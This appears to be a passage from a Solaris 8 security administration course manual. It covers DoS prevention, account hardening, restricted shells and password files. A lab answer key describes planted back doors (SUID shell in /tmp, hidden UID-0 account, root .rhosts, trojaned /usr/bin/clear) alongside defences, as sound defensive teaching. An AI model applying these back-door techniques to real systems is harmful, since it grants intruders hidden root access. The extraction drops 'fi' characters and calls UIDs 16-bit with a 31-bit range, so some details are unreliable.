Accidental DoS is nearly always preventable, but accidents do happen.
Table 4-7 contains a list of common problems that can lead to DoS.
System crash due to
process overload
Set the kernel tunable parameter to maxuprc=50.
Filling up disks Protect ufs le systems with disk quotas. Use the quot, du
and find commands to analyze disk use. Set the le
systemminfree value to maintain a sensible amount of
free space using the tunefs command.
Network attacks Restrict access to your networks with correctly set up
routers and rewalls. Use network monitors such as
Courtney or Gabriel.
Table 4-6 Malicious DoS Attacks (Continued)
Attack Prevention
Table 4-7 Accidental DoS
Problem Prevention
Large log les lling up le
systems
Monitor disk free space regularly. Archive or
summarize and remove large log les on a regular
basis.
Accidentally archiving to a
le rather than a removable
media device
Set le size limits with limit. Put backup
commands in scripts.
Programs in development
hogging system resources
Use the system parameter ulimit to restrict the
number of open les, CPUtime, and memory usage.
Set the kernel tunable parameter maxupoc to a
number such as 50.
Exercise: Detecting Trojan Horses and Back Doors
Exercise: Detecting Trojan Horses and Back Doors
G Use your knowledge and skills to nd and remove Trojan horses and
back doors preinstalled on your system
G Discuss how the system could have been hardened to prevent the
attacks
Task Detecting Trojan Horses and Back Doors
Unknown to you, back doors and Trojan horses were created when you
ran the setup script in the exercises for Module 1.
Detect as many of these Trojan horses and back doors as you can.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following are the solutions to the exercises.
Detecting Trojan Horses and Back Doors
1. You have four back doors and two Trojan horses on your system.
a. A shell script called find in eves home directory that creates a
SUID Korn shell in the /tmp directory.
b. A device /devices/pseudo/ptd@0:ptminor that gives anyone
access to the raw device where the root directory is mounted.
c. Access for eve to the same root directory through a device in
eves home directory called .root.
d. A superuser account called ftfp with superuser UID 0.
e. A .rhosts le in / that gives the eve user access to the system
as the root user.
f. The system le /usr/bin/clear has been replaced with a
program that creates a root-owned Korn shell in eves home
directory whenever it is run.
Note If you think you have found another attack not listed here, please
inform your instructor.
2. These are the preventative measures:
a. You cannot stop user eve from writing a script such as the find
script here, but removing the current directory from the root
accounts path prevents it from being run.
b. This device had to be installed by someone with access to the
root account (the mknod utility requires superuser privileges),
so this can only be prevented by stopping access to the
superuser account. Check the le systems regularly for new
devices or devices with write permission enabled.
c. Same solution as step 2b.
Exercise Solutions
d. Although it is impossible to prevent someone with access to the
root account from editing the password and shadow les,
these les should be monitored regularly for unauthorized
changes.
e. Methods of mitigating attacks of this kind are covered later in
this course.
f. You should check all system utilities regularly for changes in
size, modication time, and checksum.
5-1
Module 5
AdministeringUser AccountsSecurely
Objectives
G Explain how to add, maintain, and delete user accounts securely
G Administer login accounts with special requirements
G Describe how to make special user accounts more secure
G Congure restricted shell accounts
Relevance
Relevance
?
!
Discussion Consider what your companys security requirements are,
and what the primary lines of defense should be. How can you protect:
G User accounts?
G Access to the root directory?
G Company user les from guest users?
Administering User Accounts Securely 5-3
G Stoll, Clifford. The Cuckoos Egg. Pocket Books, 1995.
Administering Regular Users
An intruder gaining access to one or more of your accounts is a common
breach of system security. Setting up accounts in the most secure manner
is, therefore, of utmost importance.
This module does not present the commands to add a user use your
preferred method (for example, admintool or useradd). It is never
advisable to manually edit the /etc/passwd and /etc/shadow les
because if these les are corrupted, it might not be possible to log into the
system.
Determining User and Group IDs
User IDs (UIDs) are the mechanism that identify users in UNIX. The
/etc/passwd le maps user names (which are only there for your
convenience) and UIDs.
A UID is 16-bit integer between 0 and 2147483647, where 0 is a special
UID that denotes the superuser account. This account is traditionally
named root, but any user name for a superuser account is valid. Any
account that has a UID of 0 has superuser privileges.
Traditionally, system accounts are given UIDs between 0 and 99, and user
accounts start at UID 100. Many system accounts are created at
installation time in the /etc/passwd le. Most of these accounts are
required for the correct operation of the system and should not be
modied. A possible exception is the uucp account, an account that makes
uucp system connections. However, because the uucp account is rarely
used, it can usually be deleted.
Use the logins command to list system and user accounts on your
system:
G logins -s Lists system accounts
G logins -u Lists user accounts
Implications of Duplicate User IDs
It can be dangerous to have accounts with duplicate UIDs. The use of
duplicate UIDs gives multiple users with different user names free access
to each others les; they can also use the kill command to terminate
each others running programs. This mistake is easy to make if you
manually edit the /etc/passwd and /etc/shadow les.
Note Manually editing either or both of the /etc/passwd and
/etc/shadow les is not recommended, because mistakes in these les
can prevent many system utilities from working and, at worst, make it
impossible to log in to the system.
You can use the following logins every time a new account is added, or
when you suspect that a duplicate account might exist. In this example,
users groucho and harpo have a duplicate UID.
# logins -d
groucho 401 other 401
harpo 401 other 401
An exception to this no duplicate UIDs rule is when you want to create
one or more duplicate system accounts. Use this exception if multiple
people have access to a system account (including the superuser account)
and you want to track their individual activities using the audit trail. A
duplicate system account also allows you to disable access for one system
account user without having to disable access for all users. Using duplicate
system accounts has the advantage that the passwords do not have to be
communicated or shared among several people. A major disadvantage is
that it gives intruders more system accounts to attack.
Selecting and Creating Groups and Group IDs (GIDs)
Groups provide a useful way to group users. Unfortunately, the group
mechanism is rarely used effectively.
Every UNIX user belongs to one or more groups. By grouping users
together, privileges can be easily assigned to a subset of users. A users
primary group is stored in the /etc/passwd le. A user can become a
member of additional groups by adding entries to the /etc/group le.
The default group for the command useradd is other (GID 1) and on
many systems all users are in this other group. This means that they can
all access each others les if the group read permission is set (which is
the default unless the umask
1
command has been changed). For this
reason, some sites have a policy of giving each user a unique primary
group (the same GID number as the UID).
1. The umaskcommand is described in Module 8, File SystemAttacks.
Customizing Default Profiles
Many les are read by various shell programs, either at login or
subsequently (a shell is invoked every time a shell script is run), which can
set system variables and congure the environment. In Table 5-1, ~ refers
to a users home directory.
Table 5-1 Proles Run by Traditional Shell Programs
File Shell When Processed
/etc/profile sh, jsh
ksh
Read at login for all users. Use this le to set
system-wide variables.
/etc/.login csh Read at login for all users. Use this le to set
system-wide variables.
~/.profile sh, jsh
ksh
Tailors a users personal environment. It is
processed after the /etc/profile le.
Use the /etc/profile or /etc/.login les to set default values for
system-wide variables and parameters, such as a secure PATH variable and
the umask command.
Solaris 8 OE also provides additional shells which are enhancements of
the traditional shells, as listed in Table 5-2. These shells can use the
conguration les of a traditional shell as well as their own specic les.
~/.kshrc ksh Read whenever a Korn shell is run. It is processed
after /etc/profileand ~/.profileles at login.
Reading this le can be disabled for ksh scripts if
you use the set -o privileged or ksh -p
commands. You can designate a different le by
changing the ENV variable.
~/.cshrc csh Read whenever a C shell is invoked. It is read
before the .login le at login time.
~/.login csh Read by the C shell at login.
~/.logout csh Read by the C shell at logout.
Table 5-1 Proles Run by Traditional Shell Programs (Continued)
File Shell When Processed
Table 5-2 Proles Used by Other Shell Programs
Shell Prole Files
bash /etc/profile ~/.bash_login
~/.bash_profile ~/.bashrc
tcsh /etc/csh.cshrc /etc/csh.login ~/.tcshrc
~/.tcshrc ~/.history ~/.login ~/.cshdirs
.logout
zsh /etc/zprofile /etc/zshenv /etc/zlogin
/etc/zlogout ~/.zshenv ~/.zprofile
~/.zlogin ~/.zshrc ~/.zlogout
Defaults for the .login, .profile, and .cshrc les are provided in the
/etc/skel directory, but you can add any additional les that you
require. The les in the /etc/skel directory should be edited to reect
local requirements. The useradd command copies all les in the
/etc/skel directory to the users home directory when you use the -m
option.
Note The les in the /etc/skel directory are named with a prex of
local. If you use the useradd command to create new user accounts,
remove this prex or they are copied as, for example, local.profile,
and are not executed. If you use the Admintool tool to add user accounts,
then this tool removes the prex local from the name as it is copied.
Setting Accounts to Expire
There might be occasions when you want to prevent a user from logging
into an account. This might be due to the users temporary extended
absence or as a precursor to permanently deleting the account.
The usermod command, which you can use to make changes to account
parameters, such as user ID, group ID, home directory path, and so on,
can also set account inactivity and expiration times.
The relevant options for the usermod command are:
-e Sets the date when the account expires
-f Sets the number of days that the account must be unused
before it expires
For example, to make sure that a users account expires if the user has not
logged in for 15 days or longer, use:
# usermod -f 15 username
The expiration information is stored in the /etc/shadow le.
To automatically expire an account on a particular date, use a command
such as:
# usermod -e 12/31/2001 username
Note You can use this command with a date format that is listed in the
/etc/datemsk le. Many date formats are predened in this le. See the
getdate(3C) manual page for a list of the conversion specications.
This command expires the account at the end of the day. It is not possible
to enter todays date, so you cannot use usermod -e to immediately
expire an account. Instead, use:
# passwd -l username
This command locks the account by changing the users encrypted
password to *LK* and immediately expires an account. To reactivate the
account, use the passwd command to give the user a valid password.
To reactivate an account with a set expiration date, use:
# usermod -e ""
Administering Superuser Accounts
Any user with a UID of 0 is a superuser on the system. The all-powerful
superuser account is a major security weakness in the UNIX operating
system. All security checks are turned off for the superuser, so a mistyped
command could seriously damage the system. The superuser account is,
therefore, not for casual use. All system administrators should have a
regular account that they use whenever the superuser privileges are not
required. The golden rule is: Only be the root user if you need to be the root
user.
Restricting Root Logins
In the Solaris OE, you can congure the system so that users cannot log in
directly as the root user. Anyone who wants to become the superuser
must rst log into a regular account and then use the su command to
spawn a privileged shell. The advantages of this are:
G Tracking who is using the root account becomes easier.
G Intruders have to break into two accountsthe non-administrator
user and the root userto obtain superuser status.
G The password for the root account cannot be obtained from a spoof
login program left running on a terminal.
Caution It is bad practice to log in as the root user across the network,
because the plain text password is available to any intruder running a
network sniffer program. All users logging in remotely with the telnet
or rlogin commands create the same problem, so other mechanisms
should be considered to allow remote access without transferring
unencrypted passwords across the network. Two such methods are setting
up a trusted host (see Module 13, Security Network Services) and using
a secure shell (see Module 16, Securing Remote Access).
To disable direct login through the root account, ensure that the line:
CONSOLE=/dev/console
is not commented out in the /etc/default/login le. This ensures that
the root user can only directly log in on the device dened as the console.
Note This solution also disables remote login to the root account when
using the telnet command.
Securing Guest Accounts
Having one or more guest accounts on your system is a bad idea. A guest
account is a possible entry point at which an intended temporary user can
damage the system, and a guest account is also a common target for
outside intruders. Guest accounts are often set up and forgotten, leaving a
gaping hole in security. The situation is worsened by the fact that
passwords assigned to guest accounts are usually very simple, written
down, or given to someone over whom you have little control.
If you need to create a guest account, you should follow a few rules. They
are:
G If possible, create the account on a stand-alone machine and shuttle
data to it using removable media, such as tapes or diskettes.
G If the account must be on the network, attempt to put its home
directory on a separate partition or le system with restricted mount
permissions.
G Never create permanent guest accounts.
G Guest accounts must be used by one user only, and never shared, so
that individual accountability is maintained.
G Create the account and use a restricted shell (see Limiting User
Options With Restricted Shells on page 5-27) that prohibits the user
from browsing regular user accounts.
G Give the guest user access only to the software and commands that
the user needs to do the job required. Be suspicious of requests for
SUID programs.
G Limit the PATH variable and other environment variables to only
what is needed.
G Create the account just before the guest user needs it, and delete it
immediately following the users exit. Disable the account in the
evenings so that it is not accessible except when the user is under
trusted supervision.
G Set the account to expire automatically as soon as the user no longer
requires it. The account can always be reactivated later.
G Frequently scan guest directories for hidden or questionable les,
and scan guest startup les for questionable commands or scripts.
G If possible, log in for the guest user or, at least, generate a password
daily so that the guest user has to pick up each days password
before starting work. This limits the opportunities for the guest user
to hand the password to a third party.
G Refuse to set up SUID status for specic programs or scripts that the
guest user requires or brings with them, and remove the software
until you have had a chance to test it thoroughly. Ensure that you
have the source code for the software so that you, or an experienced
programmer, can inspect it. Compile the software on your system
and use your compiled version, not one provided by the guest user.
G Monitor guest user activity with the snoop command or ps if you
suspect them of questionable activity.
Guest accounts are for users you are unfamiliar with. Wherever possible,
create a standard account with restrictions. If something goes wrong, refer
to your security policy for appropriate action.
Protecting Dormant Accounts
A popular point of attack is the dormant user account. Accounts
belonging to employees who have left the company or those who are on
extended leave are perfect targets because activity on these accounts is not
likely to arouse suspicion. Intruders can take their time when using such
accounts and continue to do serious damage for extended periods of time.
Note One of the most famous accounts of serious international
espionage using computers began with the entry of a Soviet agent into the
computer facility of the Lawrence Berkeley Laboratory using a dormant
account. For more than a year, a network of agents tracked the attackers
as they broke into hundreds of university and military computers
worldwide. This interesting story is the plot of a popular book, The
Cuckoos Egg, by Clifford Stoll. Although this is an extreme example, the
point is clear: manage dormant accounts with care.
There are some easy ways to prevent login to an account:
G Change the account password so it cannot be used, using:
# passwd -l username
which puts *LK* in the encrypted password eld.
G Change the account login shell to a program that prevents login
(such as /usr/bin/false), using:
# usermod -s /usr/bin/false username
G Expire the account, using:
# usermod -e date username
G Set the account to expire automatically if it has been inactive for a
specic number of days, using:
# usermod -f N username
where N is the number of days of inactivity allowed before the
account is inactivated.
G Delete the account using the userdel command (see Deleting
Dormant Accounts on page 5-19).
Then use the passwd or usermod commands to reactivate an account at a
later date (see the example on page 5-12).
Deleting Dormant Accounts
The best protection against the misuse of dormant accounts is to delete
them as soon as they become inactive. You must then decide what to do
with user les and emails. The easiest and safest thing to do is to delete all
les and emails, but there might be circumstances where this is not
immediately possible (for example, when a management decision is
required on what to do with the data).
To delete a user and the users home directory, use:
# userdel -r username
This command only deletes the users home directory. Users might have
les in other parts of the le system (for example, they might have a
mailbox in /var/mail and crontabs in /var/spool/cron/crontabs).
Therefore, search the le system to ensure that the deleted user did not
leave les elsewhere.
To get a list of all the les owned by the deleted user, use the command:
# find / -user username -ls
Inspect this list to verify that there has been no questionable activity by
the user which leaves the system vulnerable. Delete the les using the
command:
# find / -user username -exec rm -f {} \;
If you must retain the les, reassign the les to another user on the
system. To change the ownership of all the les that are to be retained,
and then move the les to the new owners directory, change to the users
home directory and use:
# find . -exec chown new_user {} \;
. Note Do not reuse the UIDs of deleted accounts because the practice of
reusing UIDs can give rise to problems if les are restored from backup
tapes (for example, the les of a deleted user can become owned by the
new user with the same UID). Reusing UIDs also makes tracking user
actions harder. For example, if a suspicious le is owned by current user B
but dated when user A (who had the same UID) had access to the system,
you cannot be sure who is responsible for the le.
Remove any cron or at jobs belonging to deleted accounts because these
leave the system vulnerable to attack by disgruntled, outgoing employees
and intruders.
Checking User Security
Checking User Security
Using the sulog le to monitor successful and failed attempts of the su
command to change to another user has already been presented (see
Module 2, Using Solaris OE Log Files). This section presents the
parameters you can congure to make using the su command more
secure.
Configuring the /etc/default/su File
The following is a list of the default variables that you can set in the
/etc/default/su le to control the characteristics of the su command
and its logging:
G SULOG=/var/adm/sulog The SULOG variable species the path
name of the log le normally set to the /var/adm/sulog le.
G CONSOLE=/dev/console If the CONSOLE variable is dened, all
attempts to use the su command to become the root user are logged
on the console. Direct this output to the system administrators
workstation, where an open console window is available for
monitoring su attempts as they happen.
G PATH=/usr/bin The PATH variable sets the available command
path when the UID is changed to a normal user. Keep the number of
entries for the PATH variable to a minimum.
G SUPATH=/usr/sbin:/usr/bin The SUPATH variable sets the
available command path when the UID is changed to root. Ensure
that the current directory is not included in this path, either explicitly
with . or implicitly with a leading or trailing colon.
G SYSLOG=YES Set the SYSLOG ag to yes to indicate that su
command usage should be logged by syslogd.
Classifying Non-Login Accounts
Many accounts are required to maintain the system. These include:
G daemon
G bin
G sys
G adm
Never use these accounts for login purposes, and place the code NP in the
password eld of /etc/shadow instead of a valid encrypted password.
Other accounts that you should not use for login purposes are software
accounts that manage software packages. For example, the Oracle
database is normally installed under the Oracle user account name.
These accounts should not have a valid password. Avoid this by locking
these accounts.
To lock an account, use the command:
passwd -l username
This command inserts *LK* into the password eld in the shadow
password le. This suggests that the account is temporarily locked and
might be enabled in the future (this is not the same as a non-login
account).
For genuine non-login accounts, edit the /etc/shadow le and enter the
NP password manually:
daemon:NP:6445::::::
bin:NP:6445::::::
Note You can use the Common Desktop Environment (CDE) program
admintool to set an account with no password (NP).
Restricting Functionality Using a Non-Login Shell
As an additional precaution, you can set the default shell for non-login
accounts to a program other than /bin/sh. A good program choice is
/usr/bin/false, which causes any login attempt to exit immediately.
The /etc/passwd le entry would look like this:
bin:x:2:2::/usr/bin:/usr/bin/false
You can change the shell using the -e option to the passwd command,
which prompts you for a new shell program:
# passwd -e username
Old shell: /bin/sh
New shell: /usr/bin/false
The new shell you enter must be a valid shell listed in the le
/etc/shells (see Interpreting the /etc/shells File on page 5-25).
Alternatively, use the usermod -s command to change a users shell:
# usermod -s /usr/bin/false username
If the shell is set to a non-login program, then any attempt to use the su
command to change to that account fails. If you must use the su
command to go to the account, do not use this non-login shell technique.
Interpreting the /etc/shellsFile
The /etc/shells le is a list of valid login shells used by the passwd -e
command. By default, this le does not exist, so you must create it to list
the valid shells that a user may use for logins. A suitable default list for
valid shells is:
You can have a shell that is not in this list, but only by manually editing
the /etc/passwd le. Accounts that already have unusual shells (such as
/usr/lib/uucp/uucico for uucp) are not affected when you create the
/etc/shells le.
Note The useradd and usermod commands are not constrained by the
/etc/shells le when you specify the users login shell. You can also
specify the default shell in the /etc/default/useradd le.
Preventing Unauthorized cronEntries
The crontab entries for special non-login accounts (especially bin or adm)
are sometimes used by successful intruders to plant rogue programs into
the system. If the administrator detects a break-in and repairs the system,
these cron les can remove the repair or create new back doors which
allow intruders to break back into the system.
Disgruntled outgoing employees can also leave time-bombs in these cron
les.
/bin/sh /usr/bin/csh
/usr/lib/rsh /usr/bin/rsh
/usr/bin/pfsh /usr/bin/pfcsh
/usr/bin/ ksh /usr/bin/bash
/usr/bin/rksh /usr/bin/jsh
/usr/bin/pfksh /usr/bin/zsh
The administrator rarely changes the cron les after the system is set up,
and is therefore unlikely to notice illegal entries into the les. Use
techniques such as ngerprinting with programs like TripWire (see
Module 9, Auditing File Systems) to monitor illegal modications to
these cron les.
Limiting User Options With Restricted Shells
A restricted shell is a standard Korn or Bourne shell running with certain
restrictions applied to its commands and features. You cannot use
restricted shells in conjunction with the CDE dtlogin program.
The restricted shells are:
G /usr/bin/rksh Restricted Korn shell
G /usr/lib/rsh Restricted Bourne shell
Note The remote shell /usr/bin/rsh (sometimes called
/usr/bin/remsh), is often confused with the restricted Bourne shell
which resides in the /usr/lib/rsh directory.
Assessing the Limitations Enforced by Restricted
Shells
The primary purpose of a restricted shell is to allow particular users
limited access to system tools. There are various reasons for restricting
shells, but security is the primary reason. Correctly congured restricted
shells give users access only to those tools that they need to perform
allocated tasks, and prevent them from running other utilities.
Generally, the limitations enforced by restricted shells are:
G The user cannot change the working directory.
G The user cannot execute the PATH environment variable.
G The user cannot execute commands that contain a slash character, so
that the user is restricted to:
G Built-in shell commands that are not restricted
G Aliases that do not expand to commands containing
the / operator
G Commands on the dened search path
G The user cannot redirect output. Using the > or >> operators
prevents them from creating les or overwriting existing les (such
as .profile).
G If the user runs a sub-shell, the sub-shell is also restricted if it is the
same shell as the current one. For example, running ksh from rksh
results in a restricted shell, but running csh from rksh does not.
However, restricted users can be prevented from running sub-shells
(see Conguring a Restricted Shell on page 5-29).
Configuring a Restricted Shell
There are several ways to set up a restricted shell login. The key
requirements are:
G Users cannot edit or modify the login environment (proles
and so on).
G Users cannot create conguration les in their home directories.
G Users cannot run unrestricted shells, and they have access only to
the limited set of commands specically required for their job
function.
Note The limitations enforced by a restricted shell do not apply when
executing the login prole (the .profile or .kshrc).
Complete the following steps to restrict the users account.
Note If the home directory and search path are not properly congured,
as described in this section, the purpose of having a restricted shell is
defeated.
1. Create an account for the user, using either the AdminTool or the
useradd command.
a. Make sure that you select a restricted shell when creating the
account.
b. Use the useradd command with the -s option to specify the
restricted shell. To use a restricted Korn shell, for example, use:
# useradd -m -s /usr/bin/rksh alice
2. In the users new home directory, delete all existing les, including
les such as .cshrc, .login, and .profile.
3. Create a new .profile le containing the two lines:
PATH=
SHELL=/usr/bin/false
Caution If you set the SHELL variable, some programs that use this
variable to determine what shell environment to execute, might be
prevented from working correctly.
4. Create empty les for all the conguration les you can think of.
Obvious ones are:
G .kshrc
G .cshrc
G .login
G .logout
G .rhosts
G .exrc
G .mailrc
G .netrc
5. Change the ownership of the users home directory and all les
created to be root les, and set them as read-only for owner, group,
and others. For example (assuming the Korn shell):
# chown -R root ~alice
# chmod -R a-w,a+r ~alice
New users can now use the restricted shell. However, this shell is so
restricted that all users can do is log in and log out. No other
commands are available and users do not have write permission to
their own directory. You must now congure whichever commands
and programs are necessary to enable users to carry out their job.
Consider whether the restricted environment is for a single user or a
group of users with identical requirements.
6. Create a separate directory for the restricted users commands, and
set the directory les to read only. The two common approaches are:
G For a single user, create a bin directory in the users home
directory and set the path in .profile to:
PATH=$HOME/bin
G For multiple users, create a directory called /usr/rbin and set
the path in .profile to:
PATH=/usr/rbin
Whichever approach you take, the directory must be owned by the
root user and be read-only to the world. For example:
# mkdir /usr/rbin
# chmod a=rx /usr/rbin
7. Decide on the list of commands that the user must have, and create
links to those commands from your restricted binary directory. Do
not take copies, because this complicates applying security patches,
which only update the original binaries and not those in your
restricted bin directory. You can use hard links for the multiple
users version but must use symbolic links for a directory in the
users home directory (because the home directory is likely to be on
a different le partition).
# ln /usr/bin/ls /usr/rbin
# ln /usr/bin/passwd /usr/rbin
8. Create a local working directory for users to work and reside in.
Give users ownership of the directory together with read, write, and
execute permissions.
# mkdir ~alice/work
# chown alice ~alice/work
# chmod u=rwx,og= ~alice/work
9. Place users automatically in this directory when they rst log in by
adding the following to the end of the .profile le:
cd $HOME/work
10. Tighten the prole by using the trap and umask commands so that
the nal prole (for multiple restricted users) looks like this:
1 trap "" 2 3
2 umask 077
3 PATH=/usr/rbin
4 SHELL=/usr/bin/false
5 cd $HOME/work
6 trap 2 3
11. Set the password for the user account and force the user to update
the password after rst login:
1 # passwd username
2 New password:
3 Re-enter new password:
4 passwd (SYSTEM): passwd successfully changed for <username>
5 # passwd -f username
You can now use the account. On login, the user must enter a new
password and the current working directory is set to an empty directory
that utility programs can use to store les. The user cannot create les
directly from the restricted shell.
Furthermore, most utility conguration les exist with a standard (secure)
setting and are not writable by the user (.profile, .netrc, and .rhosts
are particularly important). Even if the restricted shell setup is not perfect
and a utility program allows the user to try to write to these les, the user
cannot do so because the les are read-only and owned by the root user.
Exercise: Securing Guest and Restricted Accounts
G Congure a guest account to automatically expire
G Create a new user with a restricted shell account
Preparation
Tasks
instructor.
Task Creating a Guest Account With Automatic
Expiration
You have been asked, as your companys system administrator, to set up a
guest account for a temporary technical writer who is familiar with the vi
editor. The writer will be at your work site for one day, but additional
days might be needed. Make the necessary arrangements to set up the
guest account as follows:
1. Add a new account with the user name guest.
a. Make guest a member of the group named guests.
b. Create the guest home directory in the /export/home
directory.
2. Set the account to expire tomorrow.
3. Set the password to one that you believe to be secure. This password
will be checked as part of the exercises in the next module.
4. Make sure that the UID is not a duplicate of others already in the le.
5. Check that you can log in using the guest account.
Task Configuring a Restricted User Account
Create a restricted user account for a new user called charles. Set up the
system so that you can add additional restricted users with the same
requirements as charles (in other words, set up a shared bin directory).
The user charles must run the following commands:
G ls
G date
G vi
G more
G passwd
The user charles should not be able to edit any of the les in his home
directory.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following are the solutions for the tasks dened in the preceding
section.
Creating a Guest Account With Automatic Expiration
Create a guest account with automatic expiration.
1. Create the guest account using useradd or admintool.
2. Use usermod -e tomorrow's date to automatically expire the
account.
Configuring a Restricted User Account
1. Congure a restricted user account.
a. Create the restricted binary directory for all restricted users:
# mkdir /usr/rbin
# cd /usr
# ln bin/ls rbin
# ln bin/date rbin
# ln bin/vi rbin
# ln bin/more rbin
# ln bin/passwd rbin
# chown root /usr/rbin
# chmod 555 /usr/rbin
b. Create the user charles and set the password:
# useradd -m -s /usr/bin/rksh charles
# passwd charles
# passwd -f charles
c. Set charles home directory to be owned by the root user
(readable by all) and create empty conguration les for
popular programs:
# cd ~charles
# rm .* *
# chmod 555 .
# touch .profile .kshrc .exrc .rhosts .netrc
# chmod 444 ..profile .kshrc .exrc .rhosts .netrc
# chown -R root /export/home/charles
Exercise Solutions
d. Set the prole to restrict the PATH variable to be /usr/rbin and
set the SHELL variable to a non-shell program. Set the current
directory to be the working directory:
# vi .profile
trap "" 2 3
umask 077
PATH=/usr/rbin
SHELL=/usr/bin/false
cd $HOME/work
trap 2 3
e. Create the working directory.
# mkdir work
# chmod 755 work
# chown charles work
f. Check that the account looks okay.
# ls -l
2. Log in as charles and check that the restrictions have been applied
correctly. In particular make sure that charles:
G Cannot edit .profile or any other conguration le in his
home directory
G Cannot run shell escape commands from within vi
G Can only run the restricted list of commands (that is, check that
charles cannot run /bin/sh)
6-1
Module 6
PasswordSecurity
Objectives
G List at least two measures that constitute good password practice
G Congure and use the password-cracking tool crack
Relevance
Relevance
?
!
Discussion As a conscientious system administrator, you have done
the following:
G Removed all unnecessary user and system accounts
G Stopped direct login to superuser accounts
G Set secure PATH variables in the /etc/profile and
/etc/default/su les
G Set automatic expiration on user accounts
G Set restricted shells for all guest users
In short, you have done everything you can to protect the accounts on
your system from attack. However, you do not have control over users
choice of password. What mechanisms are there to protect your system
from weak password selection?
Password Security 6-3
G Farrow, Rik. UNIX System Security. Addison Wesley, 1991.
G Scambray, McClure, Kurtz. Hacking Exposed. Second Edition.
Osborne/McGraw-Hill, 2001.
G crack documentation manual.html from the crack archive online
at:
[ftp://ftp.cerias.purdue.edu/pub/tools/unix/pwdutils/]
G npasswd download site:
[ftp://ftp.cc.utexas.edu/pub/npasswd]
G AntiCrack documentation and download at:
[http://www.teu.ac.jp/nsit/~tominaga/anticrack/]
Passwords
Passwords
With the increasing use of networks and the corresponding increase in
network-attacking tools, secure passwords are no longer the most
important aspect of good system security. However, good passwords are
the rst and sometimes the only defense against attacks. Intruders spend
signicant time and effort cracking passwords. The importance of good
password selection, protection, and administration, therefore, cannot be
over-emphasized.
The superuser password, which gives an intruder system-wide access, is
the most important of all passwords. But individual user passwords are
important as well, because they are often the rst step to obtaining
superuser passwords.
Revisiting the Password and Shadow Files
Before considering password selection and password-cracking tools, this
section reviews the standard Solaris OE password les and utilities.
Passwords
The /etc/passwd File
The /etc/passwd le contains most of the important information about
user accounts. It contains the user name, the user identier (UID), the
group identier (GID), a description eld which usually stores the users
full name and comments, the path of the users home directory, and the
type of UNIX shell to start when the user logs on. An example of an
account entry is:
alice:x:101:1:Alice:/export/home/alice:/bin/ksh
The elds, separated by a colon (:), from left to right are:
G The user name
G The dummy password eld; the character x in this eld indicates
that the encrypted password is in the /etc/shadow le
G The UID
G The GID
Passwords
G Free text eld (also known as the GCOS eld), which usually stores
the users full name and other details; be aware that data in the
GCOS eld might be displayed in outgoing mail headers
G The users home directory
G The users login shell
It is difcult to maintain up-to-date copies of the /etc/passwd le on
every host in a large network, so the /etc/passwd le is often not used.
In the Solaris OE, products such as Network Information Service (NIS) or
NIS+ store passwords on a server, using a single password database. The
format of the database that dispenses the passwords is similar to the
password le.
Note When using the NIS, NIS+ or Lightweight Directory Access
Protocol (LDAP) repository for account and password data, encrypted
passwords are passed across the network where they can be sniffed by
potential attackers.
Many standard utilities, such as ls and who, use entries in the
/etc/passwd le to map UIDs to user names. For this reason, the
/etc/passwd le must have read privileges for the world.
In previous versions of UNIX, when the password le contained the
encrypted password, crackers could simply copy the contents of the le
and then use aggressive techniques to attempt to crack user passwords.
With the encrypted password now located in the /etc/shadow le, which
is not readable by regular users, attacks of this kind are no longer possible.
However, do not assume that your password system is secure. Getting a
list of users and groups, and where their home directories are, can be the
rst step in the process of breaking in, and the /etc/shadow le can be
copied during even brief access to the root account.
Passwords
The /etc/shadow File
Shadow passwords were introduced to increase security. The
/etc/shadow le stores encrypted passwords in much the same way as
the /etc/passwd le used to. Because the /etc/shadow le is only
readable by the superuser, the encrypted passwords and other important
account information (such as account and password aging parameters)
cannot be viewed by regular users.
An example of an account entry in the /etc/shadow le is:
alice:sDWSmgh1MzcO2:11428:10:100:5:20:11503:
The elds, separated by a colon (:), from left to right are:
G The user name
G The encrypted password
G The number of days since January 1, 1970, that the password was
modied
G The minimum number of days required between password changes
Passwords
G The maximum number of days the current password is valid
G The number of days warning that the password will expire
G The number of days of inactivity the account is allowed before it
expires
G The date on which the account expires expressed as the number of
days since January 1, 1970
There are many programs that analyze the data in these elds and
manage password and account aging and expiration. These are discussed
later in this module (see Conguring Password Aging on page 6-16).
Make sure that no backup copies of the /etc/shadow le on your system
are publicly readable.
Passwords
Setting a Password Policy
To have a secure password policy, you must rst address the issue of user
education. You should:
G Impress upon users the importance of keeping their passwords
secret. Emphasize that this is not a casual topic and that sharing
them with other users, family, or even system administrators is a
very serious mistake.
G Explain that, if possible, passwords should not be written down. If
they must be written down, make sure they are written in a secure
place. A technique used by some intruders is to observe an unwary
user logging onto a workstation at the start of a workday. If the user
is seen glancing into a desk drawer or an address book, the user
might as well write the password down and give it to the intruder.
G Users with different types of accounts (for example, a system account
and a non-administrator account) should use different passwords for
each.
G Prohibit storage of unencrypted passwords on the system or online.
Allow no exceptions.
Passwords
G Discuss with users the techniques that crackers might use to obtain
their passwords. For example, crackers might disguise themselves as
system administrators and send out emails asking users to email
their passwords to them. Tell users that they should ignore such
messages and report them immediately.
G Consider assigning each user a password and then removing
execute permission from the /bin/passwd le for ordinary users, so
that the assigned password cannot be changed.
G Never create a single account for use by multiple users sharing a
single password. Accounts like this are often viewed as less important
than personal accounts and the password is often known by many
more people than necessary. If someone breaks in using a shared
password, accountability is virtually impossible to prove. Instead,
create individual accounts with a group identier in the /etc/group
le so that users can share les.
G Without exception, do not give the superuser password to anyone
that is not a trusted member of your staff with the same
responsibility level as you. Keep the number of people who have this
privilege to a minimum. Remember that every new person who
knows this password becomes a new target for intruders both within
and outside the organization.
G Consider using tools like Role-Based Access Control (RBAC) and
sudo(see Module 7, Securing Root Access) rather then handing out
the password to the root account to administrators.
Passwords
Choosing Good Passwords
Password-cracking is a science that is in continuous development by
security experts and intruders alike. Fast computers and creative
programs can test millions of passwords per second. Nevertheless,
following certain common conventions when choosing passwords (for
example, using at least six characters, and randomly selecting characters,
fromAAAAAAthrough all the combinations of available characters on the
keyboard) could stall such cracker programs for several years.
Unfortunately, users rarely choose a completely random set of characters.
That is why password-cracking programs take a more intelligent
approach. They start with dictionaries and lists of common words, names,
and commonly used passwords of the past.
Given this fact, it is important to select passwords that are virtually
impossible to guess. Unfortunately, this can also make them difcult to
remember, forcing users to write them down, which is also undesirable.
